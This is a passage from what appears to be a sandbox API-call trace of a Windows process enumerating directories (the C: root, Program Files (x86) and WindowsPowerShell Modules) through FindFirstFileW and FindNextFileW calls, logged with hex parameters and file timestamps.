FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xa37fea60, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0xa37fea60, ftLastAccessTime.dwHighDateTime=0x1d70554, ftLastWriteTime.dwLowDateTime=0x18be7380, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdee64ba0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdee64ba0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0064.863] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0064.864] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x41b67910, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x41b67910, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0064.864] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7844bbf0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x78471d50, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x78471d50, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0064.864] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xa3740380, ftCreationTime.dwHighDateTime=0x1d70554, ftLastAccessTime.dwLowDateTime=0x4b53c6d0, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4b53c6d0, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1 [0064.864] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x791634f0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1 [0064.864] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xdef956a0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xdef956a0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0064.865] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0064.865] FindClose (in: hFindFile=0x11f61f0 | out: hFindFile=0x11f61f0) returned 1 [0064.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0064.865] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0064.865] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0064.865] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)", lpFilePart=0x0) returned 0x16 [0064.866] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\*" (normalized: "c:\\program files (x86)\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f61f0 [0064.866] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x39960750, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x39960750, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.866] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9d03b80, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d03b80, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0064.866] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0064.866] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1063b30, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~3")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2d997770, ftCreationTime.dwHighDateTime=0x1d70910, ftLastAccessTime.dwLowDateTime=0xda12e200, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda12e200, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Office", cAlternateFileName="MICROS~1")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2e22d50, ftCreationTime.dwHighDateTime=0x1d70911, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft OneDrive", cAlternateFileName="MICROS~2")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x358cf290, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~4")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6bf03b0, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x4399b030, ftLastAccessTime.dwHighDateTime=0x1d99d01, ftLastWriteTime.dwLowDateTime=0x4399b030, ftLastWriteTime.dwHighDateTime=0x1d99d01, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x39960750, ftCreationTime.dwHighDateTime=0x1d99d01, ftLastAccessTime.dwLowDateTime=0xd9d29ce0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9d29ce0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd96ea320, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96ea320, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Reference Assemblies", cAlternateFileName="REFERE~1")) returned 1 [0064.867] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x12, ftCreationTime.dwLowDateTime=0x8907f814, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0xd96c41c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd96c41c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Uninstall Information", cAlternateFileName="UNINST~1")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9710480, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9710480, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Defender", cAlternateFileName="WINDOW~3")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd91d5ea, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9dc2260, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9dc2260, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Mail", cAlternateFileName="WINDOW~1")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xda17a4c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda17a4c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows NT", cAlternateFileName="WINDOW~2")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xda1a0620, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xda1a0620, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Photo Viewer", cAlternateFileName="WINDOW~4")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xd9de83c0, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xd9de83c0, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4a571440, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0x4a571440, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0064.868] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0064.869] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0064.869] FindClose (in: hFindFile=0x11f61f0 | out: hFindFile=0x11f61f0) returned 1 [0064.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0064.869] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0064.869] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0064.869] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell", lpFilePart=0x0) returned 0x28 [0064.870] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f61f0 [0064.871] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.871] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Configuration", cAlternateFileName="CONFIG~1")) returned 1 [0064.871] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0064.871] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0064.871] FindClose (in: hFindFile=0x11f61f0 | out: hFindFile=0x11f61f0) returned 1 [0064.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdb38) returned 1 [0064.871] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1b2fdd58) returned 1 [0064.872] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1b2fde38) returned 1 [0064.872] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", nBufferLength=0x105, lpBuffer=0x1b2fd8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x30 [0064.872] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\*" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\*"), lpFindFileData=0x1b2fdbe0 | out: lpFindFileData=0x1b2fdbe0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x11f61f0 [0064.873] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.873] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499ef9c0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499ef9c0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499ef9c0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0064.874] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x499a3700, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x499a3700, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x499a3700, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0064.874] FindNextFileW (in: hFindFile=0x11f61f0, lpFindFileData=0x1b2fdc10 | out: lpFindFileData=0x1b2fdc10*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0064.874] FindClose (in: hFindFile=0x11f61f0 | out: hFindFile=0x11f61f0) returned 1 [0064.875] SetThreadErrorMode (dwNewMode=0x0, 